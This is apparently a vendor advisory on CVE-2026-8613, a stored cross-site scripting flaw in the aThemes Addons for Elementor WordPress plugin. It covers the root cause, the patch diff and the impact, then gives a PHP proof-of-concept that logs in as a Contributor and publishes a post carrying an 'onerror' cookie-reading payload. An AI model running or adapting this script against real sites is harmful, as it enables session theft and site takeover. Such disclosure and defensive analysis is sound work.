Atomic Edge analysis of CVE-2026-8613:
This vulnerability is a Stored Cross-Site Scripting (XSS) in the aThemes Addons for Elementor plugin for WordPress, affecting versions up to and including 1.1.8. The flaw resides in the ‘title_tag’ widget setting used by the Posts Timeline widget and three skins of the Posts Carousel widget (default, Banner, and Modern). Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a user visits an injected page.
Root Cause: The vulnerable widgets and skins use esc_attr() on the ‘title_tag’ parameter when rendering HTML tags. This function escapes attribute values but does not validate the tag name against an allowed whitelist. An attacker can supply arbitrary HTML tag names, including those that contain event handlers like onclick or onmouseover, enabling XSS injection. The Posts List widget correctly implements whitelist validation via athemes_addons_validate_html_tag(), but this validation was omitted in the Posts Timeline and Posts Carousel widgets. The affected files include: inc/modules/widgets/posts-carousel/class-posts-carousel.php (line 1410), inc/modules/widgets/posts-carousel/skins/class-posts-carousel-banner.php (line 223), inc/modules/widgets/posts-carousel/skins/class-posts-carousel-modern.php (line 205), and inc/modules/widgets/posts-timeline/class-posts-timeline.php (line 1348).
Exploitation: An authenticated user with Contributor-level access or higher can create or edit a post (or page) using Elementor with the vulnerable widget (Posts Timeline or Posts Carousel). In the widget settings, the ‘title_tag’ parameter accepts a user-controlled string. An attacker sets this parameter to a payload such as “img onerror=alert(document.cookie)” or “a href=javascript:alert(1)”. When the post is rendered, the plugin outputs this string directly as part of an HTML tag opening and closing, resulting in script execution in the context of the site. The attack vector is the Elementor editor interface (wp-admin/post.php or via AJAX requests) where the widget settings are saved.
Patch Analysis: The patch adds two critical changes. First, it calls athemes_addons_validate_html_tag() on $settings[‘title_tag’] before output, which sanitizes the tag name against a whitelist of allowed HTML tags (like h1, h2, div, span). Second, it replaces esc_attr() with tag_escape(), which is a WordPress function specifically designed to safely output HTML tag names. The tag_escape() function further restricts allowed characters to valid tag names only. Before the patch, esc_attr() only escaped special characters but allowed any string; after the patch, only whitelisted tags pass through and tag_escape() ensures no event handler injection is possible.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into WordPress pages. This can lead to session hijacking, cookie theft, redirection to malicious sites, defacement, or execution of administrative actions on behalf of a compromised admin user. The scope extends to any user accessing the infected page, including site administrators.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/athemes-addons-for-elementor-lite/athemes-addons-elementor.php
+++ b/athemes-addons-for-elementor-lite/athemes-addons-elementor.php
@@ -3,7 +3,7 @@
* Plugin Name: aThemes Addons for Elementor Lite
* Plugin URI: https://athemes.com/addons-for-elementor
* Description: Widgets and extensions for the Elementor page builder
- * Version: 1.1.8
+ * Version: 1.1.9
* Author: aThemes
* Author URI: https://athemes.com
* License: GPLv3 or later License
@@ -22,7 +22,7 @@
}
// AAFE constants.
-define( 'ATHEMES_AFE_VERSION', '1.1.8' );
+define( 'ATHEMES_AFE_VERSION', '1.1.9' );
define( 'ATHEMES_AFE_FILE', __FILE__ );
define( 'ATHEMES_AFE_BASE', trailingslashit( plugin_basename( ATHEMES_AFE_FILE ) ) );
define( 'ATHEMES_AFE_DIR', trailingslashit( plugin_dir_path( ATHEMES_AFE_FILE ) ) );
--- a/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-carousel/class-posts-carousel.php
+++ b/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-carousel/class-posts-carousel.php
@@ -1410,7 +1410,8 @@
<?php endif; ?>
<?php if ( $settings['show_title'] ) {
- the_title( '<' . esc_attr( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . esc_attr( $settings['title_tag'] ) . '>' );
+ $settings['title_tag'] = athemes_addons_validate_html_tag( $settings['title_tag'] );
+ the_title( '<' . tag_escape( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . tag_escape( $settings['title_tag'] ) . '>' );
}
?>
--- a/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-carousel/skins/class-posts-carousel-banner.php
+++ b/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-carousel/skins/class-posts-carousel-banner.php
@@ -223,7 +223,8 @@
<?php endif; ?>
<?php if ( $settings['show_title'] ) {
- the_title( '<' . esc_attr( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . esc_attr( $settings['title_tag'] ) . '>' );
+ $settings['title_tag'] = athemes_addons_validate_html_tag( $settings['title_tag'] );
+ the_title( '<' . tag_escape( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . tag_escape( $settings['title_tag'] ) . '>' );
}
?>
--- a/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-carousel/skins/class-posts-carousel-modern.php
+++ b/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-carousel/skins/class-posts-carousel-modern.php
@@ -205,7 +205,8 @@
<?php endif; ?>
<?php if ( $settings['show_title'] ) {
- the_title( '<' . esc_attr( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . esc_attr( $settings['title_tag'] ) . '>' );
+ $settings['title_tag'] = athemes_addons_validate_html_tag( $settings['title_tag'] );
+ the_title( '<' . tag_escape( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . tag_escape( $settings['title_tag'] ) . '>' );
}
?>
--- a/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-timeline/class-posts-timeline.php
+++ b/athemes-addons-for-elementor-lite/inc/modules/widgets/posts-timeline/class-posts-timeline.php
@@ -1348,7 +1348,8 @@
<?php endif; ?>
<?php if ( $settings['show_title'] ) {
- the_title( '<' . esc_attr( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . esc_attr( $settings['title_tag'] ) . '>' );
+ $settings['title_tag'] = athemes_addons_validate_html_tag( $settings['title_tag'] );
+ the_title( '<' . tag_escape( $settings['title_tag'] ) . ' class="item-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></' . tag_escape( $settings['title_tag'] ) . '>' );
}
?>
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8613 - aThemes Addons for Elementor <= 1.1.8 - Authenticated (Contributor+) Stored XSS via 'title_tag' Widget Setting
// Configuration - adjust these values
$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'contributor'; // WordPress username with Contributor+ role
$password = 'password'; // WordPress password
// XSS payload - will be injected as the 'title_tag' parameter
// Using an invalid tag name that contains an event handler
$xss_payload = 'img onerror="alert(document.cookie)" ';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('[!] Authentication failed. Check credentials.');
}
echo "[*] Authenticated as $usernamen";
// Step 2: Create a new post (or edit existing) with the vulnerable widget
// We'll use the WordPress REST API to create a post with Elementor data
// The payload is placed in the 'title_tag' setting of the posts-timeline widget
// First, get a nonce for REST API requests
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=rest-nonce');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce_response = curl_exec($ch);
$nonce = trim($nonce_response);
echo "[*] REST nonce: $noncen";
// Step 3: Build the Elementor data with the malicious title_tag
// This mimics what Elementor sends when saving a page with the posts-timeline widget
$elementor_data = array(
array(
'id' => 'test-section',
'elType' => 'section',
'elements' => array(
array(
'id' => 'test-column',
'elType' => 'column',
'elements' => array(
array(
'id' => 'test-widget',
'elType' => 'widget',
'widgetType' => 'posts-timeline',
'settings' => array(
'title_tag' => $xss_payload,
'show_title' => 'yes',
)
)
)
)
)
)
);
$post_data = array(
'title' => 'Atomic Edge XSS Test - CVE-2026-8613',
'content' => '',
'status' => 'publish',
'meta_input' => array(
'_elementor_edit_mode' => 'builder',
'_elementor_data' => wp_json_encode($elementor_data),
)
);
// Send POST request to create the post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$result = json_decode($response, true);
if (isset($result['id'])) {
$post_id = $result['id'];
$post_url = $result['link'];
echo "[+] Post created successfully!n";
echo "[+] Post ID: $post_idn";
echo "[+] Post URL: $post_urln";
echo "[+] XSS payload: $xss_payloadn";
echo "[*] Visit the post URL to trigger the XSS.n";
} else {
echo "[!] Failed to create post. Response:n";
print_r($result);
}
curl_close($ch);
// Clean up cookie file
unlink('/tmp/cookies.txt');